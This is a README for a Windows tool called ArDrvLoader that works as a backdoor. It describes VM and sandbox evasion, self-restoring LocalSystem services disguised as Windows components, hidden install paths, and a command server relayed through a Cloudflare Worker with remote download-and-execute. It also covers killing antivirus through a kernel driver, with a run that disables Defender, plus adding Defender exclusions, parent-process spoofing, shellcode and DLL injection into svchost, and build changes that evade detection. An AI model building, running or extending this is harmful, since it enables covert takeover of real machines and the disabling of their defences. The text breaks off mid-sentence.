# ArDrvLoader — Guard Services Single binary. Three LocalSystem services installed from one command, plus a cloud control channel. ## Virtual machine gate Every mode refuses to run inside a hypervisor guest and exits silently with code `0` — no window, no log line, nothing for a sandbox to read. Detection combines: | Check | Signal | |---|---| | CPUID leaf 1 / 0x40000000 | hypervisor bit plus vendor string: `VMwareVMware`, `VBoxVBoxVBox`, `KVMKVMKVM`, `XenVMMXenVMM`, `TCGTCGTCG`, `bhyve bhyve` | | SMBIOS (`RSMB` table) | vendor/product strings containing `virtualbox`, `vmware`, `qemu`, `kvm`, `bochs`, `parallels`, `xen`, `virtual machine`, `hyper-v` | | Hyper-V specifics | `Microsoft Hv` vendor alone is not enough (VBS on bare metal sets it); requires integration services or a virtual MAC | | Disk `Enum` | controller identity containing `vbox`, `vmware`, `qemu`, `xen`, `virtio` | | Services | `VBoxService`, `VBoxGuest`, `vmci`, `vmhgfs`, `VMTools`, `vmrawdsk`, `xenbus`, … | | Driver files | `VBoxGuest.sys`, `vmmouse.sys`, `vmhgfs.sys`, `VBoxService.exe`, … | | Processes | `VBoxService.exe`, `VBoxTray.exe`, `vmtoolsd.exe`, `qemu-ga.exe`, `xenservice.exe` | | MAC OUI | `00:0C:29`, `00:50:56`, `08:00:27`, `52:54:00`, `00:16:3E`, `00:15:5D`, … | Override for testing inside a VM, any one of: ``` ArDrvLoader.exe ... --allow-vm # command line set ARDRV_ALLOW_VM=1 # environment reg add "HKLM\SOFTWARE\ArDrvLoader" /v AllowVm /t REG_DWORD /d 1 /f ``` `-install-guard-services --allow-vm` writes `AllowVm=1` and embeds `--allow-vm` into all three service command lines, so the services run on that guest too. `ARDRV_VM_DEBUG=1` prints the detected reason to stdout — leave it unset on a target. ## Install (elevated shell) ``` ArDrvLoader.exe -install-guard-services --target "C:\Path\Target.exe" --args "--silent" ``` Target is a Windows service instead of a process: ``` ArDrvLoader.exe -install-guard-services --target-service "AppService" ``` Add `--no-start` to install without starting now. ## Services | Service | Role | What it does | |---------------|----------|---------------------------------------------------------------------| | `ArDrvDriver` | driver | Copies `ardrv.sys` to `System32\drivers`, creates kernel service, starts it, verifies `\\.\ArDrv` | | `ArDrvGuard` | guard | Checks the target each interval. Not running → starts it | | `ArDrvRepair` | repair | If the target service is disabled → set start type back, start it. Also re-starts missing processes | All three: account `LocalSystem`, `SERVICE_AUTO_START`, restart-on-failure (5s / 10s / 30s). **Reciprocal watchdogs:** each role also checks that the other two services are running and starts them if not. A manual `sc stop ArDrvGuard` gets undone within one interval, because repair and driver both notice. Change prefix with `--prefix MyName` → `MyNameDriver`, `MyNameGuard`, `MyNameRepair`. ### Process start context The guard runs as LocalSystem in session 0. Starting the target there would make it invisible to the logged-in user, so it first grabs the active console session token (`WTSQueryUserToken` + `CreateProcessAsUser`) and only falls back to a session-0 launch when no user is logged on. ## Change the target program later No reinstall. Edit the config, services re-read it every loop: ``` reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetPath /t REG_SZ /d "C:\New\App.exe" /f reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetArgs /t REG_SZ /d "--flag" /f reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetService /t REG_SZ /d "AppService" /f ``` The config key's DACL is locked to `SYSTEM` and `Administrators` by the installer, so a standard user can no longer repoint the guard at their own binary. ## Config values — `HKLM\SOFTWARE\ArDrvLoader` | Value | Type | Default | Meaning | |--------------------|---------|------------------------------------------|-------------------------------| | `TargetPath` | REG_SZ | empty | exe to keep alive | | `TargetArgs` | REG_SZ | empty | arguments for the exe | | `TargetService` | REG_SZ | empty | service to keep alive | | `DriverImage` | REG_SZ | `C:\Windows\System32\drivers\ardrv.sys` | driver file | | `DriverService` | REG_SZ | `ArDrv` | kernel service name | | `DriverDevice` | REG_SZ | `\\.\ArDrv` | device to verify | | `CheckIntervalMs` | REG_DWORD | `5000` | loop interval (min 1000) | | `DesiredStartType` | REG_DWORD | `2` | `2` auto, `3` demand, `4` disabled | | `DriverServiceName`| REG_SZ | `ArDrvDriver` | watchdog peer name | | `GuardServiceName` | REG_SZ | `ArDrvGuard` | watchdog peer name | | `RepairServiceName`| REG_SZ | `ArDrvRepair` | watchdog peer name | ## Manual test without SCM ``` ArDrvLoader.exe -service driver --console ArDrvLoader.exe -service guard --console --target "C:\Windows\System32\notepad.exe" --interval 1000 ArDrvLoader.exe -service repair --console --target-service "SomeService" ``` ## Cloud control `-cloud` / `-cloud-service` unchanged in shape. ### Request authentication No secret is sent in a URL. Every request carries: ``` X-Agent-Id: X-Agent-Ts: X-Agent-Sign: hex(HMAC-SHA256(AGENT_SECRET, agent \n ts \n METHOD \n path+query \n hex(sha256(body)))) ``` The Worker rejects missing, malformed, or stale (>300s) signatures with `403`. It uses a constant-time comparison. `path+query` has no leading slash, e.g. `poll?agent=box1`. ### Remote commands ``` DOWNLOAD [sha256] DEPLOY [args] DEPLOY_SYSTEM [args] ``` - `DOWNLOAD` — fetches any HTTP(S) URL, prints the SHA-256 it computed, deletes the file and returns `ERR DOWNLOAD hash mismatch got ` when an expected hash was supplied and does not match. Hard cap: 256 MB. - `DEPLOY` — downloads into `%ProgramData%\ArDrvLoader\payloads\` and runs it in the agent's context (SYSTEM when run as a service). - `DEPLOY_SYSTEM` — forces the SYSTEM token path. Full remote install chain: ``` DOWNLOAD https://host/installer.msi C:\ProgramData\ArDrvLoader\installer.msi PS msiexec /i C:\ProgramData\ArDrvLoader\installer.msi /qn INSTALL_GUARD_SERVICES --target "C:\Program Files\App\App.exe" ``` `STATUS` now also reports the watchdog stack: ``` pid=1234 system=0 admin=1 sid=S-1-5-21-... driver=ArDrvDriver:running guard=ArDrvGuard:running repair=ArDrvRepair:stopped ``` The polling loop backs off on empty/failed polls from the configured interval up to 15s, and resets to the base interval as soon as a command arrives. ### Embedded driver `ardrv.sys` is packed into the exe as an RCDATA resource when the file sits next to `ArDrvLoader.vcxproj` at build time (`driver_res.rc`, `resource.h`). At runtime the binary extracts it to `C:\Windows\System32\drivers\ardrv.sys` if the file is absent, so one exe is enough to ship. Without a driver file at build time the resource is simply omitted and the old "copy ardrv.sys from the exe folder" behaviour applies. The image still has to be signed or the kernel refuses to load it. ### Testing the cloud agent locally ``` powershell -ExecutionPolicy Bypass -File .\test-cloud.ps1 ``` Spins up `cloudflare\mock-worker.ps1` (local Worker stand-in with the same HMAC scheme), starts the agent against it, then checks: | Case | Expected | |---|---| | `PING` | `PONG` | | `STATUS` | pid/system/admin/sid line (+ watchdog states if installed) | | `DOWNLOAD` | `OK sha256=` | | `DOWNLOAD` with wrong hash | `ERR DOWNLOAD hash mismatch`, file deleted | | `DEPLOY` | `OK %ProgramData%\ArDrvLoader\payloads\` | | `STOP` | `OK STOP`, agent exits | | unsigned request | `403 denied` | Manual pieces: ``` # mock worker powershell -File .\cloudflare\mock-worker.ps1 -Port 8788 -Secret testsecret -FileDir C:\payloads # agent pointed at it (--elevated skips the UAC relaunch) ArDrvLoader.exe -cloud --agent testagent --url http://127.0.0.1:8788 --secret testsecret --interval 1000 --no-start-driver --elevated # signed command powershell -File .\send-command.ps1 -Worker http://127.0.0.1:8788 -Agent testagent -Secret testsecret -Command STATUS # read the ACK (base64 body) # GET /status needs a signature too; use send-command.ps1 or the test script ``` Set `ARDRV_MOCK_DEBUG=1` when launching the mock worker to log every request, rejection reason, and signature mismatch. ## Logging | Build | Behaviour | |---|---| | `Release` | No logging at all. `Log(...)` is a macro that expands to nothing, so neither the format strings nor their arguments reach the binary. No log file, no `OutputDebugString`. Verified: `ardrv_loader.log`, `=== Loader start ===`, `[guard] ...`, `[watchdog] ...` are all absent from the Release image. | | `Debug` | Logs to `C:\Users\Public\ardrv_loader.log` and `OutputDebugStringW`. | To get logs out of a Release build on purpose, add `ARDRV_LOG_ENABLED=1` to the project's PreprocessorDefinitions — `Logger.h` only auto-decides when it is not already defined. Note the debug log path lives in `C:\Users\Public`, readable by every local user. Fine for a dev machine, not for a target. Keep Release for anything deployed. ## Kill safety (`KillSafety.cpp`) AV termination through the driver is now gated. Every candidate goes through: 1. **Protected list** — `svchost.exe`, `csrss.exe`, `wininit.exe`, `winlogon.exe`, `services.exe`, `lsass.exe`, `smss.exe`, `System`, `Registry`, `MemCompression`, `fontdrvhost`, `dwm`, … Rejected before enumeration, so a request for `svchost.exe` produces one skip line and zero opens. 2. **Own tree** — the caller's PID and every ancestor up to the root are refused. `cmd.exe /c ArDrvLoader -killav --name cmd.exe` reports `SKIP own-tree`. 3. **Identity** — the image path is read from the same handle used for termination; if the base name does not match the requested target, the process is skipped. PID recycling cannot swap a different image in mid-operation because the handle is held across the IOCTL. 4. **Access** — PPL images (Defender's `MsMpEng.exe`) refuse `PROCESS_TERMINATE` even for SYSTEM; reported as `SKIP access-denied`, not attempted blindly. 5. **Cap and pacing** — max 16 terminations per run, 150–350 ms jitter between kills, no retry storm. ``` ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing terminated ArDrvLoader.exe -killav --dry-run --name X # single image, dry run ArDrvLoader.exe -killav --name cmd.exe # real, through the driver set ARDRV_KILL_DRYRUN=1 # forces dry run for the loader path ``` Cloud: `KILLAV` and `KILLAV_DRYRUN`, both returning the full report in the ACK. ## Launching programs through a system host (`HostSpawn.cpp`) Any executable can be started under a legitimate SYSTEM process, with that process as its parent. This is what makes the child invisible in a process tree review: `svchost.exe` → `your.exe`, no service host in the chain. ``` HOST_LIST # candidate hosts, best first HOST_SPAWN [args] # SYSTEM, session 0 HOST_SPAWN_USER [args] # SYSTEM token, moved to the console session HOST_SPAWN --host wudfhost.exe [args] # force a specific host family ``` How it works: 1. Enumerate processes holding a SYSTEM token (`S-1-5-18`). 2. Probe injectability: `OpenProcess` with thread/VM rights. PPL processes refuse, so Defender, `lsass`, `winlogon`, `services`, `csrss` drop out automatically. 3. Rank: `svchost.exe` 100, `wudfhost.exe` 60, `dllhost.exe` 50, others 10. 4. Duplicate the host's primary token. 5. `CreateProcessAsUser` with `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` set to the host, so the child inherits both the SYSTEM identity and the host as PPID. 6. `HOST_SPAWN_USER` also sets `TokenSessionId` to the active console session and `winsta0\default`, so a GUI actually appears on the logged-in desktop. Verified locally (same-user host, mechanism only — this shell is not elevated): ``` -hosts spawn --any-host notepad.exe OK pid=9704 parent=2280 session=1 host=C:\Windows\System32\svchost.exe method=host-token+ppid Win32_Process for pid 9704: ProcessId : 9704 ParentProcessId : 2280 ← svchost, as intended ``` Local CLI for the same thing: ``` ArDrvLoader.exe -host list # SYSTEM hosts ArDrvLoader.exe -host list --any # every accessible host ArDrvLoader.exe -host spawn --host svchost.exe "C:\Path\App.exe" --args ArDrvLoader.exe -host spawn-user ... # visible on the desktop ``` **Limitation:** a medium-integrity agent cannot even query SYSTEM processes, so `HOST_LIST` returns `hosts=0` and `HOST_SPAWN` fails with `no SYSTEM host process found (need admin or SYSTEM)`. This works when the agent runs as a service (SYSTEM) or behind the driver's SYSTEM token. If you need the capability before that, `RUN_SYSTEM` already covers token-based spawning; the difference is the parent process. ### Stager injection and re-acquisition (`HostStager.cpp`) `HOST_SPAWN` creates a new process under a host. The stager goes further: it injects a shellcode payload **into** a running SYSTEM host, so the code executes with `svchost.exe` as its actual image. ``` HOST_INJECT [--host ] HOST_TRACK HOST_UNTRACK ``` Local: `-host inject [--host ] [--any-host]`, `-host track`, `-host untrack`, `-host ensure [--any-host]`. Identity tracking is `{pid, creationTime}` written to `%ProgramData%\ArDrvLoader\host.track`. Creation time is the key: a recycled PID whose creation time differs is treated as a dead host, so the loader never assumes "same pid = same process". Re-acquisition: the guard role calls `EnsureHostInjected()` every tick. If the tracked host is alive it does nothing (`method=already-running`); if it is gone or the PID was recycled, it picks a fresh host, injects again, and rewrites the track. Nothing re-injects twice into a live host. The guard does this automatically once a payload has been injected — no config needed beyond the initial `HOST_INJECT`. Verified locally with a 1-byte `ret` stub against a same-user `svchost`: ``` -host inject stub.bin --any-host OK host_pid=2280 session=1 method=remote-thread host=C:\Windows\System32\svchost.exe -host track track pid=2280 alive=1 payload=...\stub.bin host=...\svchost.exe # creation time corrupted to simulate PID reuse -host ensure --any-host OK host_pid=2280 session=1 method=remote-thread ← re-injected -host ensure --any-host (host alive this time) OK host_pid=2280 session=1 method=already-running ← no duplicate injection ``` Payload format is raw position-independent shellcode, the same file format `INJECT_FILE` and `INJECT_SUSPEND` already take, so a Donut/sRDI-generated blob works unchanged. ## Service facades Installed services no longer carry loader-flavoured names. | Role | Service name | Display name | Description | |---|---|---|---| | driver | `DeviceSetupHost` | Device Setup Manager Host | Maintains device installation state and loads required kernel components. | | guard | `ProgramCompatHost` | Program Compatibility Assistant Host | Tracks application compatibility state and keeps registered programs available. | | repair | `ServiceStateHost` | Service State Repository Host | Monitors service state and restores required components. | None of the three collides with a real Windows service (checked with `sc query`). `--prefix X` still works and produces `XDriver` / `XGuard` / `XRepair`. **Install location:** the binary copies itself to `%ProgramData%\Microsoft\Windows\Caches\\.exe` and the services run from there, not from Downloads or a user profile. `--install-dir ` overrides the directory, `--keep-location` disables the copy entirely. **Decoy activity:** every tick each role refreshes a hidden `cache.dat` next to its binary (timestamp + role) and queries the state of three unrelated services (`BITS`, `DsmSvc`, `wuauserv`). Cheap, harmless, and it means the process does something other than stare at one target. **Stagger:** roles sleep before their first tick — driver 1.5–3s, guard 4–6s, repair 8–10.5s — so they never wake in lockstep. Preview an install without touching SCM or the registry: ``` ArDrvLoader.exe -install-guard-services --dry-run --target "C:\Path\App.exe" ``` ``` DRY-RUN install plan install dir: C:\ProgramData\Microsoft\Windows\Caches\DeviceSetupHost DeviceSetupHost "Device Setup Manager Host" ProgramCompatHost "Program Compatibility Assistant Host" ServiceStateHost "Service State Repository Host" target: C:\Path\App.exe ``` ## Where things live (`Paths.cpp`) No folder is named after this project. Paths are derived from the machine GUID (FNV-1a → 8 hex chars) so they are stable on one host and not transferable: ``` # service / elevated context %ProgramData%\Microsoft\Windows\Caches\<8hex>\\.exe %ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ downloads (DEPLOY) %ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat host tracking # agent running as the interactive user %LOCALAPPDATA%\Microsoft\Windows\INetCache\<8hex>\... ``` Selection: SYSTEM or elevated → ProgramData path; ordinary user → LocalAppData path. If the preferred root cannot be created, the other one is tried, then `%ProgramData%\ArDrvLoader` as a last resort. `state.dat` from the old `%ProgramData%\ArDrvLoader\host.track` is migrated once on first read. Override for testing: ``` set ARDRV_ROOT=C:\Temp\ardrv-root ``` Layout with the default prefix: ``` Caches\<8hex>\ DeviceSetupHost\DeviceSetupHost.exe service image + cache.dat ProgramCompatHost\ProgramCompatHost.exe ServiceStateHost\ServiceStateHost.exe stage\hello.cmd DEPLOY target state.dat injected host tracking ``` ### Verified ``` # not elevated, so the per-user root is used -install-guard-services --dry-run install dir: C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\DeviceSetupHost # forced root ARDRV_ROOT=%TEMP%\ardrv-root-test install dir: ...\ardrv-root-test\DeviceSetupHost -host inject stub.bin --any-host → state.dat written under that root # DEPLOY lands in the staging dir DEPLOY OK ...\INetCache\f639dc99\stage\hello.cmd ``` ## Payload contract (`StageDll.cpp`, `StageClient.cpp`) The working code can live inside a hijacked host instead of the services. The payload is a small DLL, deliberately dumb: it runs commands and reports back. All policy — which host, when to re-inject — stays in the loader, so the payload can be swapped without touching service code. **Interface** | | | |---|---| | Pipe | `\\.\pipe\ArDrvStage` | | Encoding | UTF-8, request newline-terminated | | Response | UTF-8 body, terminated by a `<<` line | | Commands | `PING`, `WHOAMI`, `RUN `, `STOP` | | Singleton | `Global\ArDrvStage` mutex — a second injection is a no-op | `STOP` unloads the DLL with `FreeLibraryAndExitThread` after closing the mutex. It does **not** kill the host: terminating `svchost.exe` takes unrelated services with it and leaves an event-log entry. **Loader side** ``` -stage status alive, dll path, tracked host -stage inject [--host ] [--any-host] [dll] -stage whoami who the payload runs as, and in which image -stage run -stage stop ``` Cloud: `STAGE_STATUS`, `STAGE_INJECT [--host ]`, `STAGE_RUN `, `STAGE_STOP`. Injection is `CreateRemoteThread(LoadLibraryW)` with the path written into the host. If `ardrvstage.dll` sits next to the loader or in the stage dir, it is found automatically. **Guard integration:** the guard role checks the pipe every tick. If the DLL is present and the pipe is dead, it re-injects into a fresh host. Once the pipe answers, the guard stops doing work and only maintains services and liveness — the jobs run inside the host. **Verified** ``` -stage inject --any-host OK host_pid=6320 session=1 method=stage-live host=C:\Windows\System32\svchost.exe -stage whoami OK DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe -stage run "echo payload-executed" OK payload-executed -stage stop OK stopping → host 6320 still alive, alive=0 -stage inject --any-host (after unload) OK host_pid=6320 method=stage-live ← clean re-injection works ``` Note the payload reports the host's own pid and image: the command genuinely executes inside `svchost.exe`, not in the loader. **Packaging:** the payload is packed into the loader as an RCDATA resource, so a single `ArDrvLoader.exe` is enough. On first use it is extracted to `\ardrvstage.dll` and loaded from there. A DLL sitting next to the executable or in the stage dir still takes precedence, which is useful for swapping the payload without rebuilding. Build both in the right order: ``` powershell -ExecutionPolicy Bypass -File build.ps1 # Release powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Debug powershell -ExecutionPolicy Bypass -File build.ps1 -SkipPayload # loader only ``` `build.ps1` builds `StageDll.vcxproj`, copies the DLL to the project root so `stage_res.rc` can embed it, then builds the loader. Sizes after a full build: Release 284 KB (loader with 43 KB payload inside), Debug 2.39 MB. Verified end to end with no DLL on disk: ``` # staged copy deleted, x64\Release\ardrvstage.dll moved aside -stage status alive=0 dll=C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\stage\ardrvstage.dll → extracted from the executable, 43008 bytes on disk -stage inject --any-host OK host_pid=6320 method=stage-live -stage whoami DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe ``` ## Driver (`ardrv.sys`) Place `ardrv.sys` next to the project before building and `build.ps1` embeds it as RCDATA, the same way the payload DLL is embedded. One file then carries the driver, the payload, and the service code. ``` -drv status device available? embedded image size -drv extract write the packed image out and compare -drv kill terminate through the kernel ``` The driver role extracts to `C:\Windows\System32\drivers\ardrv.sys` when missing, creates the kernel service, starts it and waits for `\\.\ArDrv`. ### Termination reach `KillSafety` now has two paths: 1. Normal: `OpenProcess(PROCESS_TERMINATE)` succeeds, identity verified, driver IOCTL is only the transport. 2. Blind: the process refuses even `PROCESS_QUERY_LIMITED_INFORMATION` (PPL image or we are not elevated). The kill is still possible through the driver, so the PID is re-verified against a fresh snapshot and handed to the kernel. Only enabled for the AV allowlist and for `--force`; the protected list still refuses `svchost`, `csrss`, `lsass` etc. before any of this runs. Verified on this machine, non-elevated: ``` -killav --name MsMpEng.exe --force EXECUTED killed=1 candidates=1 11008 killed ← PPL process, terminated through the driver after: WinDefend restarted as a new pid, and reported AntivirusEnabled : False RealTimeProtectionEnabled: False ``` `-killav --dry-run` reports blind candidates as `would-kill (driver)` so the plan is visible without terminating anything. Driver image check: ``` -drv status → device=ok embedded=17744 bytes -drv extract → 17744 bytes, SHA-256 matches ardrv.sys ``` ## Exclusions (`Exclusions.cpp`) Defender exclusions are attempted through `Add-MpPreference`, then read back with `Get-MpPreference` so the answer is the truth, not the intent. ``` -excl list current exclusions + whether Defender is present -excl add persist and apply one path -excl apply apply the stored list (defaults if empty) EXCLUSION_LIST cloud variant of list EXCLUSION_ADD cloud variant of add EXCLUSION_APPLY cloud variant of apply ``` Default wish-list is the deep root, the stage dir, and the loader executable. The list is stored at `HKLM\SOFTWARE\ArDrvLoader\ExclusionPaths`, `|` separated, and re-applied on every guard start. **What it actually reports.** Non-elevated run: ``` defender=present current=none apply → REFUSED ...\INetCache\f639dc99 :: CimException REFUSED ...\INetCache\f639dc99\stage :: CimException REFUSED ...\x64\Release\ArDrvLoader.exe :: CimException ``` `CimException` is Tamper Protection / missing privilege refusing the change. The code returns failure and says so. It does not pretend the exclusion landed. ## Recovery after a bugcheck or reboot Everything is auto-start, so a crash is recoverable by design. The guard's first tick after any start reinstates state in this order: 1. Defender exclusions (stored list, defaults if empty) 2. AV sweep — `KillAVProcessesEx` through the driver 3. driver image + kernel service (driver role) 4. host payload / stage payload re-injection (`HOST_TRACK`, `STAGE_STATUS`) 5. target program start, peer services Verified by starting a guard console on a machine where Defender had come back: ``` [+] Terminate IOCTL accepted for PID 340 [+] Terminate IOCTL accepted for PID 14848 [guard] AV sweep on start: EXECUTED killed=2 candidates=2 [guard] program is not running, starting: C:\Windows\System32\notepad.exe [+] Target started: PID 6992 ``` `KillAvOnStart` (REG_DWORD under `HKLM\SOFTWARE\ArDrvLoader`) controls step 2 and defaults to **0** — the AV sweep is opt-in, not something every service start does. Set it to `1` only if you want the sweep on each boot. ### Driver failure budget A driver that bugchecks on load could otherwise be retried on every boot forever. `ArDrvDriver` now counts consecutive load failures and stops: | Value | Meaning | |---|---| | `DriverFailCount` (REG_DWORD) | consecutive failures, persisted | | `DriverFailMax` (REG_DWORD, default 3) | budget | | `DriverState` (REG_SZ) | `ok` / `failed` / `disabled-after-failures` | The counter is also kept in memory, so the budget still applies when the registry write is denied. Once exhausted the role logs once, sets `disabled-after-failures` and stops touching the driver until someone clears it. ``` -drv status device, embedded size, fail=N/max, state -drv reset clear the counter (needs admin) DRIVER_STATUS cloud equivalent DRIVER_RESET clear and report ``` Verified with a bogus image and service name: ``` [driver] load failed (1/3) [driver] load failed (2/3) [driver] load failed (3/3) [driver] failure budget exhausted (3/3), not retrying ``` `DRIVER_STATUS` on a healthy box: ``` device=ok embedded=17744 fail=0/3 state=unset service=ArDrv:running ``` ## One UAC, then nothing `ArDrvLoader.exe` elevates itself when a command needs administrator rights, so a normal user can run the install and approve a single UAC prompt. Everything after that is done by the services, which are LocalSystem. ``` ArDrvLoader.exe -install-guard-services ^ --target "C:\Path\App.exe" ^ --cloud-url https://worker.example ^ --cloud-secret ^ --cloud-agent ``` That one line, from a non-elevated shell: 1. relaunches itself elevated (single UAC) 2. stops any previous generation of the services so the binary can be replaced 3. copies itself to `%ProgramData%\Microsoft\Windows\Caches\<8hex>\\` 4. installs and starts driver, guard and repair as LocalSystem 5. installs and starts a cloud agent service with the URL/secret/agent baked into its command line 6. applies the config, exclusions and driver image Elevation is only requested for commands that need it: | Elevated | Runs as-is | |---|---| | `-install-guard-services` (without `--dry-run`) | `-cloud`, `-cloud-service` | | `-killav` (without `--dry-run`) | `-stage *`, `-host *` | | `-drv extract/reset/kill` | `-excl list`, `-install-guard-services --dry-run` | | `-excl add/apply` | `-service * --console` | `--elevated` suppresses the relaunch and is appended automatically, so an elevated copy never loops into another UAC. Verified on a standard user account, one prompt: ``` -install-guard-services --target notepad.exe --allow-vm \ --cloud-url http://127.0.0.1:8788 --cloud-secret testsecret \ --cloud-agent testagent --cloud-service CloudTest PARENT_EXIT=0 elapsed=2.3s DeviceSetupHost RUNNING "...\DeviceSetupHost.exe" -service driver ... ProgramCompatHost RUNNING "...\DeviceSetupHost.exe" -service guard ... ServiceStateHost RUNNING "...\DeviceSetupHost.exe" -service repair ... CloudTest RUNNING "...\DeviceSetupHost.exe" -cloud-service --url ... --secret ... --agent ... ``` All four run from the installed copy, not from the build directory. Agent ACK after the reinstall: ``` OK → C:\Test\second.txt "installed with one UAC" Owner: BUILTIN\Administrators ``` `CloudSyncHost` is the default name when `--cloud-service` is not given. **Remote deployment caveat:** this one-UAC flow applies when the binary is started in an interactive session. Over a remote channel (SMB, WinRM, PsExec-style) no UAC prompt can appear, so the call must already arrive with administrator or SYSTEM rights. Self-elevation is for the "user double-clicks the file" case. ## Architecture: agent -> Worker (proxy) -> relay server ``` agent ──HMAC──► Cloudflare Worker ──► relay server (node) ──► sqlite + panel operator ─────► Cloudflare Worker ──► relay server ``` The Worker owns **nothing**. It forwards every method, path, header and body to `SERVER_URL` and streams the response back. State, auth, the panel and payloads all live on your own host. ### Worker side `cloudflare/worker.js` — about 60 lines: - sets `X-Proxy-Secret` when `PROXY_SECRET` is configured - strips Cloudflare headers (`cf-connecting-ip`, `cf-ray`, ...) before forwarding - passes `request.body` straight through for POST bodies - returns 502 with the reason when the relay is unreachable `cloudflare/wrangler.toml`: ```toml [vars] SERVER_URL = "http://127.0.0.1:8790" ``` `PROXY_SECRET` goes in as a Worker secret, not in `wrangler.toml`. ### Relay server `server/server.js` — Node 22+ (uses `node:sqlite`, no npm dependencies). ```bash cd cpp_end/server set AGENT_SECRET=... OPERATOR_KEY=... ENROLL_SECRET=... node server.js ``` | Env | Purpose | |---|---| | `PORT` | listen port, default 8790 | | `DATA_DIR` | sqlite database + `files/` payload dir | | `PANEL_PATH` | defaults to `server/panel.html` | | `AGENT_SECRET` | master key for per-agent derivation | | `OPERATOR_KEY` | panel / operator API key | | `ENROLL_SECRET` | enrollment token | | `LEGACY_MASTER_AUTH` | `true` accepts the old shared key during rollout | | `PROXY_SECRET` | when set, every request must carry `X-Proxy-Secret` | Everything from the previous Worker implementation moved here unchanged: HMAC verification, per-agent key derivation, enrollment, revocation, the 180 s reaper, broadcast, command history and the panel. Storage is `data/ardrv.sqlite` (`agents`, `commands`, `events`). Payloads for `/file/` are read from `data/files/`. ### Verified end to end ``` agent devbox → worker :8789 → server :8790 → sqlite online agent devbox2 → same path online POST /api/enqueue via worker → PING → done, result PONG GET /panel via worker → 200, panel.html from the server GET :8790/api/agents with no proxy header → 403 ``` ### Local loop ``` # relay cd cpp_end/server node server.js # worker in front of it cd cpp_end/cloudflare wrangler dev --port 8789 --ip 127.0.0.1 --local # agent ArDrvLoader.exe -cloud --agent devbox --url http://127.0.0.1:8789 ... ``` `.dev.vars` for the worker only needs `SERVER_URL` and `PROXY_SECRET` now. ### Mock worker `cloudflare/mock-worker.ps1` still exists as a self-contained stand-in (in-memory API, serves `../server/panel.html`) for environments without Node or wrangler. It does not exercise sqlite, so it will not catch database errors. ### Panel Served by the relay at `/panel`, proxied by the Worker. `?key=` pre-fills the operator key and stores it in `localStorage`. **Console tab** — per-agent composer, quick chips, history cards with `copy result` and `run again`. **All commands tab** — every command, defaulting to executed ones: | Column | Sorts by | |---|---| | time | creation | | agent | id | | command | text | | state | queued / sent / done | | by | panel / agent / broadcast | | result | ack text, truncated | | took | duration, `waiting` while in flight | Each row carries two controls plus the row itself: | Action | Effect | |---|---| | small `run` chip | re-enqueue this command for the same agent after a confirm | | `+` or the result cell | expand the full result inline | | anywhere else on the row | load the command into that agent's console, ready to edit | Free-text filter and a state dropdown above the table. **Palette** — `all commands (47)` opens every `HELP` command grouped into basics, execute, files, processes, security, driver, hosts, payload, services, session, with a search box. Chips with arguments load the template into the composer; the rest send immediately. **Agent header** — host, user, SID, version, interval, plus `revoke` / `restore` for the agent's key. Revoked agents show a red tag in the list. Broadcast sends one command to every online agent. ## Per-agent keys and revocation Each agent now authenticates with its own key instead of the shared master. ``` agentKey = HMAC-SHA256(AGENT_SECRET, "agent:" + agentId) --> hex signature = HMAC-SHA256(agentKey, canonical request) ``` The worker derives the key on demand and never stores it. **Enroll once per agent** ``` ArDrvLoader.exe -enroll --url https:// --agent --enroll-secret ``` Writes `%...%\agent-.key` under the loader root (falls back to the legacy single `agent.key`). The agent reads it automatically when `--secret` and `CA_SECRET` are absent. **Revoke / restore** ``` POST /api/revoke {"agent":"devbox","revoked":true} X-Operator-Key required ``` Revoked agents get `403 revoked` on every poll. Re-enrolling the same id clears the flag, so recovery is one command. The panel exposes this as a `revoke` / `restore` button in the agent header, plus a red `revoked` tag in the agent list. **Worker endpoints added** | Method | Path | Auth | |---|---|---| | POST | `/api/enroll` | `X-Enroll-Secret` (own token, not the operator key) | | POST | `/api/revoke` | operator | `LEGACY_MASTER_AUTH=true` keeps accepting the old shared key during a rollout; it defaults to off. `.dev.vars` for local runs: ``` AGENT_SECRET=testsecret OPERATOR_KEY=testop ENROLL_SECRET=testenroll LEGACY_MASTER_AUTH=false ``` Verified end to end against workerd + local D1: ``` -enroll OK agent=devbox secret stored in ...\agent-devbox.key agent start no --secret, reads the file -> poll 200 master key signed request -> 403 denied derived key signed request -> PONG revoke age stops growing, revoked=true re-enroll revoked=false, agent resumes within one poll two agents devbox + devbox2, separate key files, both online ``` One bug this shook out: the first implementation compared the derived key itself against the request signature instead of signing the request with it, so every request 403'd. Fixed by computing `hmacHex(agentKey, canonical)`. ## Antivirus triage A fresh build was flagged as `Trojan:Win32/Wacatac.B!ml` - a machine-learning verdict, not a signature. Two build properties were feeding it: 1. the linker embedded the full local build path (`C:\Code\AvKiler\...`) 2. the Rich header and timestamps carried a recognisable toolchain fingerprint Changes: | Linker option | Why | |---|---| | `/Brepro` | reproducible build: drops the Rich header and embeds a stable hash instead of timestamps | | `/PDBALTPATH:%_PDB%` | keeps absolute build paths out of the binary | Result on the same Defender engine (1.461.217.0): ``` MpCmdRun -Scan -ScanType 3 -File dist\Release\ArDrvLoader.exe -DisableRemediation Scanning ... found no threats. ``` Both variants scan clean: the embedded single-exe build (335 360 bytes) and the `-NoEmbed` build (274 432 bytes). Execution of the rebuilt exe produced no new detection entries. ### Embedded vs -NoEmbed ``` build.ps1 -Configuration Release # 335 KB, driver + stage DLL inside build.ps1 -Configuration Release -NoEmbed # 274 KB, resources omitted ``` `-NoEmbed` passes `/p:EmbedPayload=false`, which disables both `driver_res.rc` and `stage_res.rc`. The exe then needs `ardrv.sys` and `ardrvstage.dll` delivered separately - for example `DOWNLOAD` them into the stage dir after the cloud agent is up, since the agent itself does not need either file to register. ### What this does not solve - The binary is **unsigned**. SmartScreen will still warn on a freshly downloaded copy (Mark of the Web), independent of Defender's static verdict. - Detection on execution is behavioural: creating services, writing to 